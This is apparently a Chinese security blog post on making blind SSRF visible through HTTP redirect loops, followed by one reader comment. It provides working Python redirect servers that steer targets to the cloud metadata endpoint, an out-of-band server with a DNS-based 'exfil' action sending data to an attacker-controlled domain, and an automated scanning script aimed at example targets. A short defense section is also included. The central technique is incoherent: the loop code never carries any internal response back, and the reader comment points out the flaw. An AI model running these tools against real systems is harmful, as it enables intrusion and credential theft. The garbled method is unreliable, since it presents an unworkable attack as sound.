让盲SSRF开口说话:HTTP重定向循环的妙用
通过 HTTP 重定向循环,让盲 SSRF 变得可见
前言
SSRF 这东西,挖 SRC 的人都不陌生。
服务端拿了你提供的 URL 去请求,结果可能直接打到内网的 Redis、MySQL、云元数据。一个 SSRF 从高危变严重,往往只是一步内网探测的距离
但这里有一个很尴尬的分水岭:回显型 SSRF 和 盲 SSRF。
回显型的,你把 URL 丢进去,服务器把响应内容返回给你。你能直接看到内网页面长什么样、Redis 返回了什么、元数据里有没有 IAM 密钥
盲 SSRF 就不一样了。你让服务器去请求一个 URL,它确实去了,但你看不到它看到了什么。你只能通过带外交互(OOB)来确认它访问了你的服务器。"啊,它确实发出请求了",然后呢?它看到了什么?你一无所知。
这就是盲 SSRF 最让人难受的地方。
你知道洞里可能有东西,但你不知道里面是什么。你只能盲猜,盲试。打 Redis 试试?没回显。打云元数据试试?没回显。你只能一个个试过去,然后祈祷某个 payload 能触发一个可以观测的副作用。
说实话这种体验真的很憋屈。
盲SSRF的痛点
先说说为什么盲 SSRF 让人头疼
你能做什么
盲 SSRF 能确认的事情很有限。一般来说你只能做三件事:
第一种:时间差。 你让服务器请求一个慢速端点,如果响应时间变长了,说明它确实去请求了。
第二种:OOB 检测。 你用 OAST 之类的带外服务,让服务器访问你的域名。如果收到了 DNS 请求或 HTTP 回调,说明 SSRF 确实存在。
第三种:端口盲扫。 你让服务器请求内网的不同端口,通过超时和连接拒绝的时间差异来判断端口开没开。
这些方法都能用,但都有一个共同的问题:你只能知道"它去了",但看不到"它看到了什么"。
你看不到什么
回显型 SSRF 可以直接拿回响应的 body:
请求: GET /api/fetch?url=http://169.254.169.254/latest/meta-data/
响应: {"content": "ami-id: ami-12345\ninstance-id: i-xxxxx\n..."}你真真切切看到了元数据的内容。
盲 SSRF 呢:
请求: POST /api/import?url=http://169.254.169.254/latest/meta-data/
响应: {"status": "processing"}没了。你知道服务器去请求了元数据端点(通过 OOB 确认),但你不知道它看到了什么。返回了 IAM 密钥还是 404?你完全不知道。
说白了就是:你知道洞在哪,但你看不到洞里有啥。
为什么看不到
盲 SSRF 之所以"盲",核心原因是服务端没有把请求的响应内容返还给客户端。常见场景:
- 服务器用 HTTP 请求的结果做内部处理(比如导入图片、抓取网页生成摘要),只返回"成功/失败"
- 服务器异步处理请求,请求结果被写进数据库或队列,不直接返回
- 服务器只关心响应状态码,不关心响应 body
- 服务器把响应内容传给了另一个内部系统,不经过你
在这些场景里,你作为攻击者,能控制的是"让服务器去请求哪个 URL",但你无法读取"服务器看到了什么"。
现有方案的局限
说白了,这些方案都有用,但都卡在同一个问题上。
方案 | 能干什么 | 局限 |
OOB 确认 | 确认 SSRF 存在 | 看不到响应内容 |
端口盲扫 | 探测内网端口状态 | 只能知道开没开 |
时间盲注 | 通过延迟推断响应内容 | 慢、不准 |
gopher 协议 | 构造 TCP payload | 需要知道目标服务的协议格式 |
每种方案都解决不了同一个问题:你拿不到响应内容。
重定向循环的思路就是冲着这个问题来的——让服务器自己把内容"吐出来"。
重定向循环的原理
HTTP 重定向的基础
这个大家都懂,快速过一下。
HTTP 重定向就是服务器告诉客户端"你要的东西不在我这,上别处看去"。
客户端收到这些状态码后,会去请求 Location 头指向的新 URL。
正常流程:
请求 A → 302 Location: B
请求 B → 200 OK(内容在这里)正常的重定向链是有终点的。
重定向循环是什么
如果 B 也返回重定向,但指向了 A,就套住了。
请求 A → 302 Location: B
请求 B → 302 Location: A
请求 A → 302 Location: B
请求 B → 302 Location: A
...一直转到客户端没力气为止。
大多数 HTTP 客户端有重定向次数限制,一般是 20 次或 50 次。超过限制后,有的抛异常,有的返回最后一次的响应内容。
这个特性,就是这个技术的核心。
把盲 SSRF 变成可见的思路
假设目标服务器的 /api/import 端点会去请求你提供的 URL,但它不返回响应内容。
你要在自己的 VPS 上搭一个重定向服务器。
当你请求 http://your-server/read?path=xxx
→ 返回 302 到 http://目标内网地址/xxx然后让目标去请求你的重定向服务器:
POST /api/import
{"url": "http://your-server/read?path=/latest/meta-data/"}目标服务器会先请求你的服务器,你的服务器返回 302 指向云元数据,目标跟随重定向去请求元数据。
但问题来了——目标拿到了元数据,但不会把内容返回给你。
所以这不是一个"让服务端跟随重定向访问内网"的问题——重定向本来就能做到这一点。关键是拿到响应内容。
思路就是利用重定向次数限制触发的错误信息。
具体来说:
- 你让目标服务器请求你的服务器
- 你的服务器返回一个重定向,指向另一个你自己控制的 URL
- 那个 URL 返回另一个重定向,指回第一个 URL
- 这样就形成了一个重定向循环
- 目标服务器跟随循环,直到达到重定向次数上限
- 达到上限后,不同的 HTTP 客户端会表现出不同的行为:
- 有的会抛出异常,异常信息里可能包含最后一次请求的响应内容
- 有的会返回最后一次 3xx 响应的 body(如果 body 不为空的话)
- 有的会把重定向链中收集到的信息写入日志,而日志可能通过别的接口暴露
说白了就是:你让目标服务器在一个重定向圈里来回跑,跑到它没力气了,被迫告诉你它看到了什么。
不过说实话,这个思路能不能成,完全取决于目标的 HTTP 客户端实现。
下面说几种可能的情况。
三种具体的实现路径
路径一:利用错误信息回显
某些 HTTP 客户端在超过重定向次数上限后,会在错误信息中包含最后一次请求的 URL 或响应摘要。如果你把内网响应内容编码到重定向 URL 中,就能通过错误信息读到它。
实现方式是:你的服务器作为"中间人",接收内网服务的响应内容,然后把这个内容编码到下一次重定向的 URL 中,再让目标服务器请求这个 URL。如果目标服务器的 HTTP 客户端在报错时输出了 URL,你就读到了内网响应。
Round 1:
Target → Attacker Server (302 → http://169.254.169.254/latest/meta-data/)
Target → Metadata endpoint → 返回: ami-id: i-xxxxx
Round 2:
这里的关键是 attacker server 如何拿到 metadata 的响应
实际上需要 target 在同一个重定向链中先访问 metadata,拿到响应
然后 attacker server 把响应内容编码到下一个 redirect URL 中我承认这个细节在实际操作中比较复杂。不同 HTTP 客户端的行为不一样,有些场景下信息不会回显。但这个思路本身是成立的——通过重定向链来传导信息。
路径二:利用响应体差异
某些服务端在跟随重定向时,会把最终响应的某些特征(状态码、内容长度、响应头)反映回客户端。比如:
- 如果目标服务器在重定向循环结束后返回一个错误页面,错误页面的内容长度可能取决于最后一次重定向的目标 URL
- 如果目标服务器在重定向过程中记录了请求日志,日志的内容可能通过调试接口暴露
路径三:利用缓存或代理
如果目标服务器使用了反向代理或缓存服务,重定向循环可能导致缓存条目被覆盖或特定错误被记录,这些记录可能通过其他 API 读取。
这个就需要结合具体场景了,不是通用的。
攻击复现:搭建你的重定向服务器
说实话,这个技术最有意思的地方在于你不需要多复杂的工具——一个简单的 Python 脚本就能跑起来。
最简单的重定向服务器
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
TARGET_INTERNAL = "http://169.254.169.254"
REDIRECT_LIMIT = 20
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed.query)
target_path = params.get('path', [''])[0]
if target_path:
redirect_url = f"{TARGET_INTERNAL}/{target_path}"
self.send_response(302)
self.send_header('Location', redirect_url)
self.end_headers()
else:
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b"SSRF Redirect Server Running")
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 8888), RedirectHandler)
print('Redirect server running on port 8888...')
server.serve_forever()这个服务器的作用很简单:你请求 /read?path=latest/meta-data/,它返回 302 重定向到 http://169.254.169.254/latest/meta-data/。
如果你的目标服务器会跟随重定向,它就会被引导去访问云元数据端点。
但这只是基础版——只做了"引导"还没做"回显"。
带循环检测的重定向服务器
当目标服务器跟随了重定向后,它拿到了元数据响应。现在怎么让它把这个响应"吐出来"?
这里的关键是让目标服务器在重定向循环中把信息暴露出来。
redirect_loop_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.request
import urllib.parse
import socket
import threading
import time
class RedirectLoopHandler(BaseHTTPRequestHandler):
redirect_count = 0
max_redirects = 15
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed.query)
action = params.get('action', [''])[0]
if action == 'init':
target = params.get('target', [''])[0]
redirect_to = f"http://{self.server.server_address[0]}:8888/action=reflect&target={target}"
self.send_response(302)
self.send_header('Location', redirect_to)
self.end_headers()
elif action == 'reflect':
target = params.get('target', [''])[0]
if RedirectLoopHandler.redirect_count < RedirectLoopHandler.max_redirects:
RedirectLoopHandler.redirect_count += 1
back_url = f"http://{self.server.server_address[0]}:8888/action=loop&count={RedirectLoopHandler.redirect_count}"
self.send_response(302)
self.send_header('Location', back_url)
self.end_headers()
else:
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
info = f"Redirect loop ended. Target: {target}\nMax redirects reached: {RedirectLoopHandler.max_redirects}"
self.wfile.write(info.encode())
elif action == 'loop':
count = int(params.get('count', ['0'])[0])
if count < RedirectLoopHandler.max_redirects:
back_url = f"http://{self.server.server_address[0]}:8888/action=loop&count={count + 1}"
self.send_response(302)
self.send_header('Location', back_url)
self.end_headers()
else:
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b"Loop complete")
else:
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b"""
SSRF Redirect Loop Server
Actions:
/action=init&target=<internal_url> - Start a redirect chain
/action=reflect&target=<url> - Reflect info through loop
""".strip())
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 8888), RedirectLoopHandler)
print('Redirect loop server running on port 8888...')
server.serve_forever()在 VPS 上部署
这个服务器需要部署在一个公网可达的 VPS 上,因为目标服务器需要能访问到它。
python3 redirect_loop_server.py &
ufw allow 8888/tcp
curl -v http://your-vps:8888/盲测一个目标
假设你发现了一个盲 SSRF 端点:
POST /api/fetch-url HTTP/1.1
Host: target.com
{"url": "http://your-vps:8888/action=init&target=latest/meta-data/"}目标服务器会:
- 请求你的重定向服务器
- 收到 302 重定向到 reflect 路径
- 请求 reflect 路径
- 进入重定向循环
- 循环结束后,目标服务器的行为取决于它的 HTTP 客户端实现
有些目标服务器会把循环过程中的信息记录下来,通过错误信息、日志或调试接口暴露。有些则不会。
说白了,这个技术不是通杀。它能不能用,取决于目标的 HTTP 客户端实现。你先摸清楚目标用的什么库,再决定要不要走这条路。
不然你搭了半天 VPS,目标根本不跟 302,等于白忙。
实战:针对不同 HTTP 客户端的行为测试
不同的 HTTP 库在处理重定向循环时行为不同。这里列出常见的几种:
# client_test.py —— 测试不同 HTTP 库对重定向循环的处理
import requests
import urllib.request
import http.client
REDIRECT_SERVER = "http://your-vps:8888"
# Test 1: Python requests 库
print("=== Python requests ===")
try:
r = requests.get(f"{REDIRECT_SERVER}/action=init&target=test", timeout=10)
print(f"Status: {r.status_code}")
print(f"Content: {r.text[:200]}")
except requests.exceptions.TooManyRedirects as e:
print(f"TooManyRedirects: {e}")
except Exception as e:
print(f"Error: {type(e).__name__}: {e}")
# Test 2: urllib
print("\n=== urllib ===")
try:
r = urllib.request.urlopen(f"{REDIRECT_SERVER}/action=init&target=test", timeout=10)
print(f"Status: {r.status}")
print(f"Content: {r.read()[:200]}")
except urllib.error.HTTPError as e:
print(f"HTTPError: {e.code} - {e.reason}")
except Exception as e:
print(f"Error: {type(e).__name__}: {e}")不同库的行为差异:
HTTP 库 | 重定向上限 | 超过上限后的行为 |
Python requests | 30 次 | 抛出 TooManyRedirects 异常 |
Go net/http | 10 次 | 返回最后一个响应 |
curl 默认 | 50 次 | 返回最后一个响应 |
Node.js fetch | 20 次 | 抛出类型错误 |
Java HttpURLConnection | 20 次 | 抛出 ProtocolException |
PHP file_get_contents | 20 次 | 返回 false,产生警告 |
如果你能通过错误信息或其他侧信道观察到差异,就能确定目标在用哪个 HTTP 库,从而更有针对性地构造 payload。
反过来想,你甚至可以通过目标在重定向循环中的行为来判断它用了什么 HTTP 客户端。知道了客户端,就知道了它的重定向上限和报错方式。这对后续的 payload 构造很有帮助。
进阶:把 OOB 和重定向结合
当直接回显行不通时,可以退而求其次——用 OOB 把"部分信息"带出来。
思路是这样的:
- 你的重定向服务器不仅做重定向,还记录每个请求的路径
- 你让目标服务器在重定向链中访问不同的路径,这些路径编码了你想要探测的信息
- 你的服务器记录这些请求,通过 DNS 或 HTTP 回调发送到 OAST 服务
- 你通过 OAST 日志读取信息
这本质上是一种布尔盲注 + OOB 的结合。
# redirect_oob_server.py —— 带 OOB 反馈的重定向服务器
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
import urllib.request
import socket
import threading
import time
OOB_DOMAIN = "your.oastify.com" # 替换为你的 OAST 域名
class OOBRedirectHandler(BaseHTTPRequestHandler):
def send_oob_signal(self, data):
"""通过 DNS 查询把数据发送到 OAST 服务"""
try:
# 把数据编码到域名中
encoded = urllib.parse.quote(data, safe='')
# 构造 DNS 查询
query = f"{encoded}.{OOB_DOMAIN}"
socket.gethostbyname(query)
except:
pass
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed.query)
action = params.get('action', [''])[0]
if action == 'probe':
# 探测盲 SSRF 是否存在
# 让目标服务器访问 OOB 域名
probe_url = f"http://{OOB_DOMAIN}/ssrf-probe"
self.send_response(302)
self.send_header('Location', probe_url)
self.end_headers()
self.send_oob_signal("probe-sent")
elif action == 'exfil':
# 通过 OOB 外泄信息
data = params.get('data', [''])[0]
self.send_oob_signal(f"data:{data}")
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b"OK")
elif action == 'loop':
# 重定向循环,逐位探测
position = int(params.get('pos', ['0'])[0])
char_code = params.get('char', [''])[0]
if char_code:
# 发送探测到的字符到 OOB
self.send_oob_signal(f"pos:{position}:char:{char_code}")
# 继续循环或结束
max_pos = int(params.get('max', ['10'])[0])
if position < max_pos:
next_pos = position + 1
back_url = f"http://{self.server.server_address[0]}:8888/action=loop&pos={next_pos}&max={max_pos}"
self.send_response(302)
self.send_header('Location', back_url)
self.end_headers()
else:
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b"Loop complete")
else:
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b"""
OOB Redirect Server
Actions:
/action=probe - Test if blind SSRF exists
/action=exfil&data=X - Exfiltrate data via OOB
/action=loop&pos=X&max=Y - Redirect loop with OOB feedback
""")
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 8888), OOBRedirectHandler)
print('OOB redirect server running on port 8888...')
print(f'OOB domain: {OOB_DOMAIN}')
server.serve_forever()使用流程:
# 第1步:确认盲 SSRF 存在
# 在目标盲 SSRF 端点触发:
POST /api/fetch-url
{"url": "http://your-vps:8888/action=probe"}
# 如果你的 OAST 收到了 "ssrf-probe" 信号 → SSRF 确认
# 第2步:逐位探测内网服务端口(通过 OOB 反馈)
# 让重定向服务器根据目标是否能够访问特定端口来发送不同的 OOB 信号说白了:OOB + 重定向 = 给盲 SSRF 装了一个信号灯。每次循环告诉你一个 bit 的信息。
自动化检测工具
把这个过程做成自动化工具,可以批量扫描盲 SSRF 端点并尝试通过重定向循环获取信息。
实战中遇到的盲 SSRF 端点基本都是 POST 请求,而且参数位置千奇百怪——有的在 JSON body 里,有的在 form-data 里,有的在 query string 里,还有的藏在 multipart 的某个字段中。
所以工具不能只支持简单传参,得让你能自定义请求格式。
# ssrf_scan.py —— 盲SSRF重定向探测工具
import requests
import sys
import time
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
CALLBACK_PORT = 8888
# ===== 回调服务器 =====
class ProbeHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b"probed")
def start_callback():
s = HTTPServer(('0.0.0.0', CALLBACK_PORT), ProbeHandler)
t = threading.Thread(target=s.serve_forever, daemon=True)
t.start()
return s
# ===== 发送请求的通用方法 =====
def send_req(method, url, param_inject, headers):
"""通用的请求发送,支持 GET/POST、json/form/query 多种模式"""
try:
if method.upper() == 'GET':
# GET 请求:SSRF URL 放到 query 参数中
# 示例:send_req('GET', 'http://target/api/fetch', 'url=http://vps:8888', {})
import urllib.parse
parsed = list(urllib.parse.urlparse(url))
existing_params = urllib.parse.parse_qs(parsed[4])
# 把 param_inject 追加到已有参数中
inj_key, inj_val = param_inject.split('=', 1)
existing_params[inj_key] = [inj_val]
parsed[4] = urllib.parse.urlencode(existing_params, doseq=True)
final_url = urllib.parse.urlunparse(parsed)
r = requests.get(final_url, headers=headers, timeout=10, allow_redirects=False)
else:
# POST 请求:支持 json 和 form 两种
inj_key, inj_val = param_inject.split('=', 1)
# 如果传了 Content-Type 且包含 json → 用 json body
ct = headers.get('Content-Type', '') if headers else ''
if 'json' in ct.lower():
# 假设 body 示例:{"url": "http://vps"}
r = requests.post(url, json={inj_key: inj_val}, headers=headers,
timeout=10, allow_redirects=False)
else:
# 默认用 form-urlencoded
r = requests.post(url, data={inj_key: inj_val}, headers=headers,
timeout=10, allow_redirects=False)
return {
'status': r.status_code,
'len': len(r.text),
'body': r.text[:300]
}
except requests.exceptions.Timeout:
return {'status': 'timeout', 'len': 0, 'body': ''}
except Exception as e:
return {'status': 'error', 'len': 0, 'body': str(e)}
# ===== 三个探测步骤 =====
def step_oob(url, inject, headers, oob_domain):
"""第1步:用 OOB 确认 SSRF 是否存在"""
payload = f"{inject.split('=')[0]}=http://{oob_domain}/ssrf-test"
print(f" [1/3] OOB probe: {oob_domain}/ssrf-test")
return send_req('POST' if 'POST' in str(url) else 'GET', url, payload, headers)
def step_redirect(url, inject, headers, vps_ip):
"""第2步:测试是否会跟随 302"""
payload = f"{inject.split('=')[0]}=http://{vps_ip}:{CALLBACK_PORT}/redir"
print(f" [2/3] 302 follow test")
return send_req('POST' if 'POST' in str(url) else 'GET', url, payload, headers)
def step_loop(url, inject, headers, vps_ip):
"""第3步:测试重定向循环行为"""
payload = f"{inject.split('=')[0]}=http://{vps_ip}:{CALLBACK_PORT}/loop?n=0"
print(f" [3/3] Redirect loop test")
return send_req('POST' if 'POST' in str(url) else 'GET', url, payload, headers)
# ===== 使用入口 =====
def run_scan(target_url, param_name, method='POST', content_type='form', headers=None, vps_ip='127.0.0.1', oob_domain='oastify.com'):
if headers is None:
headers = {}
if 'Content-Type' not in headers and content_type == 'json':
headers['Content-Type'] = 'application/json'
if 'Content-Type' not in headers and content_type == 'form':
headers['Content-Type'] = 'application/x-www-form-urlencoded'
inject = f"{param_name}=test"
print(f"\nTarget: {target_url}")
print(f"Param: {param_name} ({method})")
print(f"Content-Type: {content_type}")
print("-" * 40)
# 启动回调服务器
cb = start_callback()
r1 = step_oob(target_url, inject, headers, oob_domain)
print(f" status={r1['status']} len={r1['len']}")
r2 = step_redirect(target_url, inject, headers, vps_ip)
print(f" status={r2['status']} len={r2['len']}")
r3 = step_loop(target_url, inject, headers, vps_ip)
print(f" status={r3['status']} len={r3['len']}")
cb.shutdown()
# 判断
print("-" * 40)
if r1['status'] in ('timeout', 'error'):
print("目标可能没发出请求,或请求被拦截")
elif r2['status'] in ('timeout', 'error') or r3['status'] in ('timeout', 'error'):
print("目标跟随了重定向!可能是盲SSRF")
else:
print("目标没有明显重定向跟随行为")实战中的用法:
# 场景1:POST form 表单,参数在 body 里
python3 -c "
from ssrf_scan import run_scan
run_scan(
target_url='http://target.com/api/import',
param_name='url',
method='POST',
content_type='form',
vps_ip='你的VPS_IP',
oob_domain='你的.oastify.com'
)"
# 场景2:POST JSON body
run_scan(
target_url='http://target.com/api/fetch',
param_name='target_url',
method='POST',
content_type='json',
vps_ip='你的VPS_IP',
oob_domain='你的.oastify.com'
)
# 场景3:GET 请求,参数在 query 中
run_scan(
target_url='http://target.com/proxy',
param_name='dest',
method='GET',
vps_ip='你的VPS_IP',
oob_domain='你的.oastify.com'
)如果你测的目标需要加自定义 Header(比如 Authorization),直接在 headers 参数里传就行:
run_scan(
target_url='http://target.com/admin/import',
param_name='url',
method='POST',
content_type='json',
headers={'Authorization': 'Bearer xxxxx', 'X-CSRF-Token': 'xxxxx'},
vps_ip='你的VPS_IP',
oob_domain='你的.oastify.com'
)真实场景中的应用建议
说几点实战中需要注意的地方。
第一:先确认目标的重定向行为。
不是所有的盲 SSRF 都会跟随重定向。有些服务端只发一次请求,不管返回什么状态码都不会再跳转。这种情况下重定向循环就没用了。先用 OOB 确认 SSRF 存在,然后测试是否会跟随 302。
第二:重定向次数限制是双刃剑。
太少的次数限制(比如 5 次)可能在你还没拿到足够信息之前就结束了。太多的次数限制可能让你的请求超时或触发告警。一般来说 20-50 次是比较常见的范围。
第三:注意不要对目标造成伤害。
重定向循环意味着目标服务器会在短时间内发出大量请求。如果控制不好,可能对目标造成负载压力。建议把循环次数控制在 20 次以内,并且每个目标只跑一轮。
一句话:这个技术的核心价值不是"一定能拿到回显",而是"在原本看不到任何信息的情况下,多了一个尝试的方向"。
防御思路
开发者层面
第一:限制重定向跟随。
不是所有需要请求外部 URL 的功能都需要跟随重定向。如果只是下载图片,设置 max_redirects=0 就够了。
Python requests 示例:
r = requests.get(url, allow_redirects=False)
s = requests.Session()
s.max_redirects = 5第二:使用 URL 白名单。
如果必须请求外部 URL,限制协议和域名:
ALLOWED_DOMAINS = ['img.example.com', 'cdn.example.com']
ALLOWED_PROTOCOLS = ['http', 'https']
def validate_url(url):
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ALLOWED_PROTOCOLS:
raise ValueError("不支持的协议")
if parsed.hostname not in ALLOWED_DOMAINS:
raise ValueError("不在白名单中的域名")第三:不要在错误信息中暴露内部 URL。
很多框架在重定向错误或连接错误中会输出完整的 URL,这里面可能包含内网地址或服务路径。
# 不要这样:
except Exception as e:
return f"请求失败:{str(e)}" # 可能暴露内部 URL
# 应该这样:
except Exception:
return "请求失败" # 不暴露细节监控层面
如果你需要防御这种攻击,关键看两点:
告警规则 1:单个 IP 在短时间内请求了大量不同的外部 URL
→ 可能是 SSRF 探测
告警规则 2:目标服务器的出站请求中包含了大量重定向循环
→ 可能是在利用重定向循环做信息泄露说白了就是:SSRF 的防御不只是"拦不拦 127.0.0.1"的问题——重定向行为本身也是一个攻击面。
一些想说的话
写到这里想聊几句。
重定向循环不是什么新鲜东西。Web 开发者都知道重定向次数上限,都知道循环会导致报错。
但在这个技术之前,没人想到可以拿它来把盲 SSRF 变成可见的。
安全研究很多时候就是这样——不是发现了一个全新的东西,而是把一个已知的东西用在了没人想过的地方。那些"魔法"级别的技术,往往是"啊,原来还可以这样"的恍然大悟。
说回实战。这篇文章不会给你一个通杀所有目标的 payload。这个技术能不能用,取决于目标的 HTTP 客户端是什么。但如果你遇到盲 SSRF 不知道该怎么办,现在你多了一个可以试的方向。
拿你的 VPS 跑一个重定向服务器,配合 OAST,用 BP 就能测。
核心就一句话:盲 SSRF 看不到响应内容,不代表你什么都做不了——让它跳个圈,它可能就自己说出来了。
读了一下有点没理解:
ssrf机器---->attacker--302-->内网机器--302->ssrf机器
这样循环借助重定向上限抛出最后一次响应拿到内网机器的信息吗?
但是内网机器做302跳转是不可控的呀
ssrf机器---->attacker--302-->attacker2--302->ssrf机器
这样的链路确实是可控的了但是没有内网机器参与呀,就是纯循环。
有点烧脑,求解答